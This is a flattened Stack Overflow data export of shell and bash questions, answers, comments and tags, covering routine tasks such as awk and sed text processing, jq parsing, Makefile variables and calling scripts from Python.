answers question: http://stackoverflow.com/q/77021831
upvote count: 1
has comment: http://stackoverflow.com/comment/135781410

http://stackoverflow.com/comment/135589019
comment on: http://stackoverflow.com/q/76911748
has text: I think you need to specify the directory, i.e. `./check.sh`. How else should `subprocess`, respectively the shell, know, where to find the file?
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135615433
type: QuestionComment
comment on: http://stackoverflow.com/q/76927566
type: Comment
has text: Don't create awk code in shell, save it in a shell variable, and then let that shell variable expand to become part of an awk script - that's creating tight coupling between the 2 (awk and shell) and can lead to cryptic errors.
score: 0

http://stackoverflow.com/comment/135595775
type: Comment
score: 0
has text: @F.Zer "added quotes around "$monitored_paths". Do you know why that failed?" - in this case you got a combined line of args. With double quotes just use `"${monitored_paths[@]}"`, but `$monitored_paths` is shortly
type: AnswerComment
comment on: http://stackoverflow.com/a/76916640

http://stackoverflow.com/a/76995492
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/76993557
type: Answer
has body: As I understand your request, tags of simple XML can be condensed with something like this: #!/bin/bash if [ $# -lt 1 ]; then echo "no file provided"; exit 1; fi xml_input="$1" if [ ! -r ${xml_input} ]; then echo "file not readable"; exit 1; fi xml_temp="$(mktemp /tmp/${xml_input}.XXXXXXXXX)" || exit 1 tr '\n' ' ' < "${xml_input}" > "${xml_temp}" sed -i 's/\r/ /g' "${xml_temp}" sed -i 's/ */ /g' "${xml_temp}" sed -i 's/?> /?>/g' "${xml_temp}" sed -i 's/?>/?>\n/g' "${xml_temp}" sed -i 's/> </>\n</g' "${xml_temp}" mv "${xml_temp}" "${xml_input}" which will convert: <?xml version="1.0" encoding="UTF-8"?> Product testing machine Product testing machine to: <?xml version="1.0" encoding="UTF-8"?> Product testing machine Product testing machine but a proper shell script to do that for all XML cases would be huge, or just a caller for an actual parser written in another language. There are a lot of good explanations: https://stackoverflow.com/a/8577108/1919793 Can you provide some examples of why it is hard to parse XML and HTML with a regex? Why it's not possible to use regex to parse HTML/XML: a formal explanation in layman's terms and many text editors will do this a lot better for you: How do I format XML in Notepad++?
upvote count: 1

http://stackoverflow.com/a/76904277
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/76903745
type: Answer
has body: AFAIU from your code, you get some value from 4th column in each line in each file, compile some string using this value and then print this new string and the original string, right? This could be done using this simple awk: $ ls *.txt file1.txt file2.txt file3.txt file4.txt $ cat *.txt 1 2 3 v1 5 6 7 8 9 10 1 2 3 v2 5 6 7 8 9 10 1 2 3 v3 5 6 7 8 9 10 1 2 3 v4 5 6 7 8 9 10 $ awk '{print "some text", $4; print}' *.txt some text v1 1 2 3 v1 5 6 7 8 9 10 some text v2 1 2 3 v2 5 6 7 8 9 10 some text v3 1 2 3 v3 5 6 7 8 9 10 some text v4 1 2 3 v4 5 6 7 8 9 10 File with 200k strings: $ wc -l f1 200000 f1 $ time awk '{print "some text", $4; print}' f1 ... some text v1 1 2 3 v1 5 6 7 8 9 10 some text v1 1 2 3 v1 5 6 7 8 9 10 real 0m1,345s user 0m0,242s sys 0m0,680s
score: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/76903745

http://stackoverflow.com/comment/135684414
comment on: http://stackoverflow.com/q/76968047
type: QuestionComment
has text: This might be related [(SU) Is there a limit for a line length for grep command to process correctly?](https://superuser.com/questions/1703029/). It states that the line-length that GNU grep can handle is limited by the memory of the system.
score: 1
type: Comment

http://stackoverflow.com/comment/135560326
score: 0
type: Comment
comment on: http://stackoverflow.com/q/76893700
type: QuestionComment
has text: Please have a look at the bash man page: The section titled _Compound Commands_ contains a description of th `if` command.

http://stackoverflow.com/q/76897014
type: Question
tagged with: shell
tagged with: makefile
has title: About Makefile variable and shell variable
type: UnansweredQuestion
has body: aaa := outer all: @aaa=inner; echo ${aaa} @echo ${aaa} I expect the output is inner outer, but actually is outer outer. Why?
score: 0
answer count: 1
has answer: http://stackoverflow.com/a/76897279

http://stackoverflow.com/comment/135720415
comment on: http://stackoverflow.com/q/76987590
type: QuestionComment
score: 0
type: Comment
has text: "I want to write a bash script that replaces the following PHP snippet" - replaces it with what? Please [edit] your question to state that and show the expected output.

http://stackoverflow.com/a/76920829
accepted answer of: http://stackoverflow.com/q/76913125
type: AcceptedAnswer
has body: jq can generally only parse JSON-encoded data as JSON if it is valid JSON. This is how jq reads from STDIN, an input file, or when using the --argjson, --jsonargs, --argfile, or --slurpfile options. If your input is initially interpreted as raw string data (by using the --raw-input, --rawfile, --arg, or --args options), you can still use the fromjson filter from within your jq code on JSON-encoded strings to parse them but a valid encoding is still required. If your input data is not valid JSON (see https://www.json.org/ for a full specification), your options depend on how (much) it differs from JSON. Here are some of them: jq has many built-in functions to handle string data, so you could write anything from a converter to JSON that addresses your specific format violations, to a full-blown interpreter tailored to your overall target objectives. This is, of course, true to any capable programming language, I just wanted to point out that jq is indeed one them, and could infact be a reasonable choice if you already have jq code for a subsequent processing of your input. The jq language itself is a superset of JSON, and your sample data happens to be valid jq code. So, you could use jq to interpret your data as code, although this is generally regarded bad practice when processing unknown input data, especially in a production environment). See @peak's answer for an example. YAML is also a superset of JSON, and your sample data also happens to be valid YAML data (so you could use any YAML interpreter to at least parse the input), but in this case the wording of id:1 would not be interpreted as a value 1 under key id but rather as an undefined value under key id:1. (If there was a space between id: and 1, it would, however). Nevertheless, you could still attempt to use a tool that either just converts YAML to JSON, or directly processes YAML the way you wanted to process the (almost valid) JSON input, and fix the issue with id:1 on the go. Despite the more effort, th…
answers question: http://stackoverflow.com/q/76913125
downvote count: 0
score: 1
upvote count: 1
type: Answer

http://stackoverflow.com/comment/135705750
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76979463
has text: Why have you tagged the question `bash` if bash solutions aren't acceptable?
score: 2

http://stackoverflow.com/comment/135768911
comment on: http://stackoverflow.com/a/77013286
score: 1
type: Comment
has text: @rickhg12hs I think it is unnecessary to copy-paste answer content to jqplay, for several reasons: 1) jqplay permalinks become stale 2) everybody can do it easily themselves
type: AnswerComment

http://stackoverflow.com/comment/135594504
has text: See https://stackoverflow.com/questions/35005893/convert-a-json-array-to-a-bash-array-of-strings for how to convert a JSON array to a bash array.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76916410

http://stackoverflow.com/comment/135729029
type: QuestionComment
has text: What's the desired output?
type: Comment
comment on: http://stackoverflow.com/q/76993197
score: 3

http://stackoverflow.com/comment/135757298
type: QuestionComment
comment on: http://stackoverflow.com/q/77009102
has text: _Related_ to the problem you can use `exec -a argv0 cmd arg1 arg2 ...` _but_ you need to make sure that the lein script does that when it starts the JVM; it doesn't help to do it when you start the lein script yourself -- which means you need to patch or replace the wrapper that the `lein` package itself provides.
type: Comment
score: 2

http://stackoverflow.com/comment/135759567
has text: That giant file has no line breaks, so yeah, grep is slurping it all. Arguably it should support some sort of change to the record separator.
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76969187

http://stackoverflow.com/comment/135728897
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76993197
has text: just remove the `.versions` from the filter, I don't think you want that part? (`.versions` filter produces the strings, not objects)
score: 0

http://stackoverflow.com/q/76944313
score: 0
answer count: 0
tagged with: shell
has body: I have build a custom TomCat image based on alpine:3.18.3. Now, the issue I am having is that I cannot remove the shell access. I have tried this: RUN chsh -s /sbin/nologin root and RUN usermod -s /sbin/nologin root The image build completes fine, but when I start the container I still have shell access. What am I doing wrong? Thank you in advance, Mike
tagged with: tomcat
tagged with: image
has comment: http://stackoverflow.com/comment/135643168
type: Question
has title: Remove shell access in a TomCat Image
tagged with: alpine-linux
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135642849

http://stackoverflow.com/comment/135599303
score: 0
comment on: http://stackoverflow.com/a/76908265
type: Comment
type: AnswerComment
has text: @lyricallywicked I don't know the exact API's that the NSIS-generated installer uses for requesting privilege. The new installer should no longer be requesting admin privilege for non-admin users. It will not have the right to write to privileged parts of the registry; it will put the program into the user-local PATH variable, not the system one. That PATH is in the HKEY_CURRENT_USER registry hive that the user can write to. An unprivileged user should not be seeing any User Account Control popup any more.

http://stackoverflow.com/comment/135821739
score: 1
type: Comment
type: AnswerComment
has text: @diggidre - the principle applied here is basically a type of [Schwartzian Transform](https://en.wikipedia.org/wiki/Schwartzian_transform). You might need to vary the [`sort`](https://man7.org/linux/man-pages/man1/sort.1.html) keys and/or use pure numeric sorting instead of "version" sort, but for the information provided it's a good solution.
comment on: http://stackoverflow.com/a/77038661

http://stackoverflow.com/comment/135723430
type: Comment
type: AnswerComment
has text: yq tool will support find and grep commands ? I need to delete same block in multiple yml files ? Is this command will work in yq tool ?:- find . -type f -name "*.yml" -print0 | xargs -0 yq 'del(.testing.booking)' One more question is that not possible to achive with bash script ? using sed/awk/find commands ?
comment on: http://stackoverflow.com/a/76975128
score: 0

http://stackoverflow.com/comment/135598123
type: Comment
has text: @lyricallywicked That looks fixable: https://stackoverflow.com/questions/45467280/nsis-installer-without-admin-privileges Certain installers ask the user, do you want to install this for just the current user, or for all users? I wonder, is that that what they are doing: for all users, they request privilege, and then can put it into a directory like C:\Program Files.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76908265

http://stackoverflow.com/comment/135636430
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76936679
has text: @lazydev What if you just put the TTY into raw mode yourself around calls to readline. I wonder would readline keep that, part of the state or would it reset those states, putting the TTY in a mode where it performs Ctrl_C SIGINT?
score: 0

http://stackoverflow.com/comment/135824967
score: 0
comment on: http://stackoverflow.com/a/77046245
has text: @pilcrow You're right, `locale` gives me this: `LANG="en_US.utf8"` `LC_MONETARY="C"` `LC_ALL=` (the others are all defined as `C`)
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135555400
has text: many thanks for responding. i testing now
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76893700

http://stackoverflow.com/a/76927576
type: Answer
upvote count: 6
answers question: http://stackoverflow.com/q/76927538
downvote count: 0
score: 6
accepted answer of: http://stackoverflow.com/q/76927538
type: AcceptedAnswer
has body: Should be pretty-straightforward with Awk. Store the project names in a map data-structure in the endfilter3-all-b.txt file and look out for keys matching in the other file projectnameid.txt and write the output, awk 'FNR==NR{key[$2]; next}$2 in key' endfilter3-all-b.txt projectnameid.txt If the above results look good, write the output to the destination file by using the re-direct operator. Append &gt; finalized-project-names.txt at the end of the above command.

http://stackoverflow.com/comment/135756288
type: QuestionComment
has text: You could use `ls -C`: _Force multi-column output; this is the default when output is to a terminal_.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76993753

http://stackoverflow.com/comment/135586771
comment on: http://stackoverflow.com/a/76911815
type: Comment
type: AnswerComment
has text: I have tried your approach `import subprocess subprocess.Popen([str(Path(__file__).parent / "check.sh"), "ABC"]) `. Same error.
score: 0

http://stackoverflow.com/q/76939782
answer count: 4
has comment: http://stackoverflow.com/comment/135634849
has title: How to append output of echo command in variable
has comment: http://stackoverflow.com/comment/135635067
tagged with: bash
has answer: http://stackoverflow.com/a/76939942
has answer: http://stackoverflow.com/a/76939930
favorite count: 0
has body: echo "string1" echo "string2" I want to write both echos in a variable, but I want the second echo to append on what is already written from the first, so that when I call it: string1 string2 Also the output from the echos should be separated with new line.
has answer: http://stackoverflow.com/a/76939972
has answer: http://stackoverflow.com/a/76939845
tagged with: variables
downvote count: 2
type: Question
tagged with: shell
upvote count: 0
type: UnansweredQuestion
score: -2

http://stackoverflow.com/a/76945671
downvote count: 0
score: 1
type: Answer
has comment: http://stackoverflow.com/comment/135645269
has body: You neither need a shell script, nor a loop. Simply use cut: cut -sd@ -f2 yourfile.txt or with awk only: awk -F@ '/@/{print $2}' Output: mysite.mw_path mysite.mw_brkr_path mysite.mw_path mysite.mw_brkr_path If you still want to solve the problem with a shell loop, you can do it in shell directly (without spawning awk processes every time): #!/bin/sh while IFS=@ read -r _ pattern1 _; do if [ -n "$pattern1" ]; then echo "$pattern1 one" echo "pattern is not empty" fi done < "$1" (and there's no need to run it with bash)
has comment: http://stackoverflow.com/comment/135646861
upvote count: 1
answers question: http://stackoverflow.com/q/76945139

http://stackoverflow.com/comment/135794310
comment on: http://stackoverflow.com/q/77029758
has text: I have tried that, to no avail :/ Not a bad shout, I'll give it a go
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135615447
has text: Does this answer your question? [python getoutput() equivalent in subprocess](https://stackoverflow.com/questions/6657690/python-getoutput-equivalent-in-subprocess)
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76928930

http://stackoverflow.com/comment/135634818
comment on: http://stackoverflow.com/a/76939942
type: Comment
score: 0
type: AnswerComment
has text: I thought the OP asked to save the output from a command, but if not, we can just write var="string1\nstring2" and be done with it.

http://stackoverflow.com/a/76958565
has body: This might work for you (GNU sed): sed 's#.*#/^&amp;/p#' file1 | sed -nf - -i file2 Turn file1 into a sed script and apply it to file2. The first sed invocation creates for each line a match string which if successful prints the line. The second sed invocation takes the output of the first and treats it as a sed script. This invocation also sets the -n option which ensures only the lines matched are printed and nothing else and the -i option which edits the file in place.
type: AcceptedAnswer
upvote count: 3
downvote count: 0
score: 3
answers question: http://stackoverflow.com/q/76958436
type: Answer
accepted answer of: http://stackoverflow.com/q/76958436

http://stackoverflow.com/comment/135830633
type: QuestionComment
comment on: http://stackoverflow.com/q/77049931
type: Comment
has text: Bei using `v=$( command ...)`, the standard output of _command_ is stored into the variable `v`. You could store the line containing the version number into a variable, and then use regular expression matching to extract the version number from the variable.
score: 0

http://stackoverflow.com/comment/135760444
has text: It's good idea but I hoped there's a cooler way to do that. In that for instance: new OAuthAuthenticator().authenticate(new UserPassword("admin", "password")) => and token is automaticlly available in the system
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77010727
score: 0

http://stackoverflow.com/comment/135653654
comment on: http://stackoverflow.com/q/76947111
has text: Didn't you get an error message about `currentYear: command not found`?
type: QuestionComment
score: 0
type: Comment

http://stackoverflow.com/comment/135666747
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76952426
score: 1
has text: if the testfile2.txt is like this mysite.mw_path=/mw/mysite/cfg/DATA1/ mysite.mw_brkr_path=/usr/local/mw/mysite/cfg/DATA2/ mysite.mw_url=/mw/mysite/cfg/DATA1/=mysite/images/ in the 3rd line "=mysite/images/" is getting ommitted any suggestion here please..! I don't have 'perl' knowledge :(

http://stackoverflow.com/a/76980511
score: 0
answers question: http://stackoverflow.com/q/76980350
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/135710643
type: Answer
accepted answer of: http://stackoverflow.com/q/76980350
has body: I think you can change the extension of a file in the middle of a for loop and pipe, As you see ${file%.*} is a cool trick that basically removes the file extension (*.AAA) from the original file name, and then, I add the .BBB extension to create the new file name, which I call new_file,and to top it off,I pass this modified file to commandB with the -i option! for file in *.AAA do new_file="${file%.*}.BBB" #change the extension to .BBB commandA "$file" | awk '{ print }' | commandB -i "$new_file" or you can use process substitution, so I use sed to change the file extension from .AAA to .BBB in the file name,and then, I pass this fancy modified file name to commandB using something called process substitution, which treats the command's output like a temporary file : for file in *.AAA; do commandA "$file" | awk '{ print }' | commandB -i <(commandA "$file" | awk '{ print }' | sed 's/\.AAA$/.BBB/') done

http://stackoverflow.com/comment/135704785
comment on: http://stackoverflow.com/q/76979463
type: QuestionComment
type: Comment
score: 0
has text: Look into coprocesses. Beyond that, I'm not sure the question is specific enough to be answerable in its current state ("want to send the nc output" -- but there's no complete output until nc exits; or are you saying you want to write an echo service? -- if that's what you want, "netcat echo service" as a search should find plenty of examples).

http://stackoverflow.com/comment/135772649
comment on: http://stackoverflow.com/a/77017503
has text: Updated - sorry for the misunderstanding. :)
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135756975
has text: @Santiago Squarzon Yes, this worked too. - thanks for this. My issue was including the command string as mlkement0 identified.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/77007882
type: Comment

robotframework
tags question: http://stackoverflow.com/q/76968448
type: Tag
tag name: robotframework
tags question: http://stackoverflow.com/q/79332294

http://stackoverflow.com/comment/135736721
type: Comment
comment on: http://stackoverflow.com/q/76991403
type: QuestionComment
score: 0
has text: @Fravadona I specifically want word1 word2 to be disabled. Because I want the history to be logged for all other combinations, for example word1 word3, etc

http://stackoverflow.com/comment/135768672
type: QuestionComment
has text: I assume the term `OkHttp` is the TAG of the logcat messages. If that is true you can find the answer here: https://stackoverflow.com/a/6174001/150978
type: Comment
comment on: http://stackoverflow.com/q/77014844
score: 0

http://stackoverflow.com/comment/135845706
comment on: http://stackoverflow.com/a/77058674
score: 0
type: Comment
type: AnswerComment
has text: Why not? You are trying to assign to a variable using a shell builtin, `set`, that has a different purpose.

http://stackoverflow.com/comment/135735501
has text: @Barmar Basically, the next time you launch the program referencing the symlink it will break because the symlink is not valid.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76996572
type: QuestionComment

http://stackoverflow.com/comment/135586995
comment on: http://stackoverflow.com/q/76911748
type: QuestionComment
score: 0
type: Comment
has text: It doesn't have to have its executable bit set if you run it like this `bash check.sh` but that is not how you are running it, you are just running it with `check.sh` which means 1) it must have its executable bit set and 2) it must be on your PATH.

http://stackoverflow.com/comment/135595617
comment on: http://stackoverflow.com/a/76916586
score: 1
has text: You did it ! Congratulations. Now, two paths are passed to `fswatch`
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135586570
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76911748
has text: Does this answer your question? [How to call a shell script from python code?](https://stackoverflow.com/questions/3777301/how-to-call-a-shell-script-from-python-code)

http://stackoverflow.com/comment/135672884
type: QuestionComment
type: Comment
score: 1
comment on: http://stackoverflow.com/q/76960050
has text: @louigi600 FYI `awk '$0 ~ /.*server.*/ {printf("#%s\n",$0); next;}; {print}' a.txt` could be written as just `awk '/server/{$0="#"$0} 1' a.txt`. On Solaris use /usr/xpg6(or 4)/bin/awk or, less desirably, nawk.

http://stackoverflow.com/comment/135690282
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76971571
type: Comment
has text: 4) you can just do `for fl in *.nc; do` you don't need `$( ls ..)`. As mentioned in `1)` (above), you seem to have a lot of extra stuff where just replacing `glo12_rg_1h-m_20210201.nc` with `"${fl}"` will solve most of your problems. Learn to read the output of the shell debug/trace that you set at the top with `set -vx` (and turn off with `set +vx`) and then carefully examine the cmd, it's options , and any variable substitutions (`${fl}"` , etc). Make sure they are in the same order asy your example code in the first block above. Good luck!

http://stackoverflow.com/comment/135834205
score: 1
type: QuestionComment
has text: Regarding "it didn't work" - that's the worst possible problem statement as it tells us nothing we could use to help you debug your code. [edit] your question to state in what way it didn't work - wrong output, no output, error messages, etc. Also add what version of `sed` you're running (try `sed --version`).
comment on: http://stackoverflow.com/q/77050349
type: Comment

http://stackoverflow.com/comment/135574798
comment on: http://stackoverflow.com/q/76898164
type: QuestionComment
type: Comment
score: 0
has text: if this is a linux client, you can try adding `acdirmin=n` / `acdirmax=n` (for small int n) or `lookupcache=none` or `noac` : https://www.man7.org/linux/man-pages/man5/nfs.5.html#DATA_AND_METADATA_COHERENCE

http://stackoverflow.com/comment/135612750
type: QuestionComment
type: Comment
has text: hanks for your help!! This did not work for me. however we figured out a workaround where we loading the data as is into the table and then writing SQL to pivot it
comment on: http://stackoverflow.com/q/76924061
score: 0

http://stackoverflow.com/comment/135594449
score: 0
has text: @pmf 0stone0 - Please consider rephrasing your responses in light of the -f technique.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76913125

http://stackoverflow.com/comment/135818364
score: 0
has text: Still gives the same error with RUN chmod +x configure.sh.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77043467

http://stackoverflow.com/comment/135772261
type: Comment
comment on: http://stackoverflow.com/a/77017503
type: AnswerComment
has text: But readying the reference you provided, I have found a answer to my question.
score: 0

http://stackoverflow.com/comment/135811415
type: Comment
has text: You won the point ^^ It's named `corelist`: `corelist /XML/` : nothing relevant.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/77039367

http://stackoverflow.com/comment/135733015
comment on: http://stackoverflow.com/q/76994952
has text: Also please show the exact contents of `abc.mk` where `FILE_ARGS` is set.
type: Comment
score: 1
type: QuestionComment

http://stackoverflow.com/comment/135648453
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76947075
score: 1
has text: Right. I added examples.

http://stackoverflow.com/comment/135543864
type: QuestionComment
has text: But I am stuck and do not know how to do because some functions like datetime on python look like to need the information separate hh mm ss, however, they are only separated by the ':' on my case (ex: 07:17:46, 07:26:35, 08:24:15....).
type: Comment
comment on: http://stackoverflow.com/q/76886382
score: 0

http://stackoverflow.com/comment/135595302
has text: The two shells are very different. You can't say you're using one when you're actually using the other and expect useful answers.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76916410
type: Comment

http://stackoverflow.com/comment/135588779
has text: Use `--argjson`. But you'll need valid json, which you do not show here.
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76913125

http://stackoverflow.com/comment/135738022
comment on: http://stackoverflow.com/a/76993801
type: Comment
has text: it only gave me single tag in output and other xml tags are gone
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135720334
has text: no they don't but I don't need the comments - it's just a comment
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/76987964

http://stackoverflow.com/comment/135703936
type: Comment
score: 0
type: QuestionComment
has text: @Cyrus, yes it's a part of XML. Don't want an XML-specific solution though for the general scenario.
comment on: http://stackoverflow.com/q/76978039

parameter-expansion
type: Tag
tag name: parameter-expansion
tags question: http://stackoverflow.com/q/76980350
tags question: http://stackoverflow.com/q/78948765
tags question: http://stackoverflow.com/q/79401075

http://stackoverflow.com/comment/135548449
has text: I would recommend creating a shell script that calls `terraform apply` and then runs all that stuff you have in the `local-exec` after the `terraform apply` is done. I feel like all this elaborate stuff people try to do inside `local-exec` is trying to force Terraform to do more than it was designed to do. I've done these exact ECS deployment steps before in scripts and in CI/CD pipelines and I always did it in a script than ran *after* `terraform apply` was completed, instead of inside Terraform itself.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/76886145
type: QuestionComment

http://stackoverflow.com/q/76992379
score: 0
has body: I'm trying to write a script that creates some changelogs. It looks at all of the commits since the previous tag and prepends a - to every commit message. #!/bin/bash tag_commits_reversed=$(git rev-list --tags --max-count=1) tags=$(git describe --match "tag_prefix*" --abbrev=0 --tags $tag_commits_reversed) commit_messages=$(git log $tags..@ --no-merges --pretty=format:"%s" -- . | while read line; do echo "- $line"; done) echo $commit_messages The output looks as follows: - commit_message_1 - commit_message_2 - commit_message_3 However, if there has only been one single commit since the previous tag the | while read line; do echo "- $line"; done won't correctly prepend the - to the single commit message. I'd expect - commit_message_1 but only get an empty output. What am I missing here?
type: Question
tagged with: macos
tagged with: shell
tagged with: git
type: UnansweredQuestion
upvote count: 1
answer count: 1
favorite count: 0
downvote count: 1
has comment: http://stackoverflow.com/comment/135728320
tagged with: bash
has answer: http://stackoverflow.com/a/76992602
has title: while loop not working if there is only one element
has comment: http://stackoverflow.com/comment/135727320
has comment: http://stackoverflow.com/comment/135733592

http://stackoverflow.com/comment/135735538
comment on: http://stackoverflow.com/q/76996572
score: 0
type: QuestionComment
has text: @Barmar All right, I guess. I don't know if you ever used unreal engine blueprints, but i looked for a solution that would work as good as the object referencing there. I can create a class and reference another class from a variable there, then move or rename the referenced class and the value of the variable updates automatically. I know blueprints are pretty high-level but i'm not afraid to get my hands dirty if the cleanest solution involved some coding :).
type: Comment

http://stackoverflow.com/comment/135847328
comment on: http://stackoverflow.com/q/77058657
score: 0
has text: @user1934428, ...using `let` to introduce an arithmetic context is ancient pre-POSIX syntax (that the Austin Group deliberately chose not to incorporate into the standard) only supported by modern shells for backwards compatibility; better to let it die.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135562200
has text: I suggested to add a shebang such that shellcheck knows which shell you use. So I repeat: copy-paste your code in shellcheck and fix the errors.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76896657
type: Comment

http://stackoverflow.com/a/76894827
has body: Here is the code rewritten with the changes to solve the problem and make it more readable: if ! -z $iopt ; then wd=$(pwd) basename "$(test -L "$0" && readlink "$0" || echo "$0")" > /tmp/scriptname scriptname=$(echo -e -n $wd/ && cat /tmp/scriptname) su -c "cp $scriptname /usr/bin/monitor" root && echo "Congratulations! Script Installed, now run monitor Command" || echo fi I reformatted the code to make it more obvious what is happening and also be able to discuss line numbers with you. It also helps to allow the shell to show line numbers in case other errors come up. On the first line, you guessed needing a semi-colon before the then which was correct. On the 2nd line with the wd variable, there was no semi-colon before base so the wd variable would have effectively only been set only for the base command and not any later commands. On the 5th line with the three echo's, the last one had a '$' that was out of place and would have resulted in an error about the command not existing. So in summary: Consider re-formatting the code to line breaks to help with readability. Add the ';' between the if test and the then statement Add a ';' or line break between wd and base Change echo$ to echo Hope that helps.
answers question: http://stackoverflow.com/q/76893700
score: 0
type: Answer

npm
tag name: npm
tags question: http://stackoverflow.com/q/76967366
type: Tag
tags question: http://stackoverflow.com/q/78307692
tags question: http://stackoverflow.com/q/78751726
tags question: http://stackoverflow.com/q/79163243
tags question: http://stackoverflow.com/q/79182461

http://stackoverflow.com/comment/135803274
comment on: http://stackoverflow.com/a/77009428
has text: Are you including the quotes? Did you remove the echo, or did you send the output to a file and run that separately? If you're using the output as a script, try it this way: `for f in "${lst[@]}"; do n="${f#hold/}"; echo mv "'$f'" "'./${n/_+([0-9])_/_$((++cnt))_}'"; done`
type: Comment
score: 0
type: AnswerComment

math
type: Tag
tags question: http://stackoverflow.com/q/76967654
tags question: http://stackoverflow.com/q/76886382
tag name: math
tags question: http://stackoverflow.com/q/77159958
tags question: http://stackoverflow.com/q/78138180

http://stackoverflow.com/comment/135569512
score: 0
type: QuestionComment
has text: Why use pattern matching at all? Why not just set an `offset` variable in the first `if/elif` block, then subtract that from `time`?
type: Comment
comment on: http://stackoverflow.com/q/76901704

http://stackoverflow.com/comment/135819244
score: 0
has text: You are right, I edit it.
type: Comment
comment on: http://stackoverflow.com/a/77037389
type: AnswerComment

http://stackoverflow.com/comment/135821137
type: QuestionComment
has text: Why you have 2 `FROM` lines? You should have only the one with liberty
type: Comment
comment on: http://stackoverflow.com/q/77043467
score: 0

http://stackoverflow.com/q/77041956
answer count: 2
tagged with: grep
linked to: http://stackoverflow.com/q/59396273
tagged with: bash
upvote count: 1
has comment: http://stackoverflow.com/comment/135815531
favorite count: 0
downvote count: 1
has body: Premis: i'm using run-ksql-test utility which has the output described in commands ouput section I have test files with the following output I just want to map the test status with the filename, and due to some devops restrictions I must use shell or bash only setup: test file format: --@test: test Name 1 <multiple sql statements> --@test: testName2 <multiple sql statements> --@test: test Name3 <multiple sql statements> command's output: N number of lines with no perticular format, but wihtout ">>>" [<timestamp>]: >>> Test Passed N number of lines with no perticular format, but wihtout ">>>" [<timestamp>]: >>> Test Passed N number of lines with no perticular format, but wihtout ">>>" [<timestamp>]: >>> Test Failed N number of lines with no perticular format, but wihtout ">>>" results i want: --@test: test Name 1 [<timestamp>]: >>> Test Passed --@test: testName2 [<timestamp>]: >>> Test Passed --@test: test Name3 [<timestamp>]: >>> Test Failed note that I need the entire lines from both commands constraints: only shell code if possible use out of awk, grep, tr, cut, cat, sed or any other utility generally available by default in linux / unix , if you must that's fine i can test on my end iv'e read many similar question including question but i dont understand the awk to be able to modify this for my use as there's no key with which i can match two different rows here's a small snippet of the code i'm using do echo "---------------- TESTING $test_file ----------------" run-ksql-test --test-directory $test_file --temp-folder $TEMP_FOLDER > $LOG_DIR/$(basename $test_file) #take Names Of the tests from assembled query file test_names=($(cat $test_file | grep -Eo '\-\-\@.*')) #also tried similar variations but outupt is either one chunk or broken into words #take results from the logs for that file test_results=($(cat $LOG_DIR/$(basename $test_file) | grep -Eoi '>>>+(Passed|Failed)')) for ((i=0; i<${#test_names[@]}; i++)); do echo "${test_names[i]} ${test_results[i]}" done…
score: 0
has answer: http://stackoverflow.com/a/77082064
type: Question
tagged with: ksqldb
tagged with: shell
has title: filter then merge output of 2 commands on a line level
has comment: http://stackoverflow.com/comment/135816089
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/77042018

http://stackoverflow.com/comment/135604939
type: QuestionComment
has text: Thanks for the quick response. In this specific case only two digits, but a solution that can accommodate an arbitrary number could be helpful for myself and others. And the numberes do always begin at the start of the file name.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/76922651

libreadline
type: Tag
tag name: libreadline
tags question: http://stackoverflow.com/q/76936679

http://stackoverflow.com/comment/135644376
comment on: http://stackoverflow.com/q/76944879
type: QuestionComment
type: Comment
score: 0
has text: sed -e ':loop; /[^> ]\n*$/{N; b loop}; s/\n */ /g; s/></>\n</g' -i INPUTFILE added \n ... looks fine now. Thanks alot Grobu.

http://stackoverflow.com/comment/135808254
has text: Please add your code as text instead of pictures.
score: 2
comment on: http://stackoverflow.com/q/77037911
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135643748
has text: How many lines here? <"/> <-- Atleast 500 lines, but its expandable cant say exact count
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76944879

http://stackoverflow.com/q/76967654
has title: Increment !:1 value in csh alias
score: 0
tagged with: tcsh
tagged with: shell
type: UnansweredQuestion
answer count: 1
has answer: http://stackoverflow.com/a/76967721
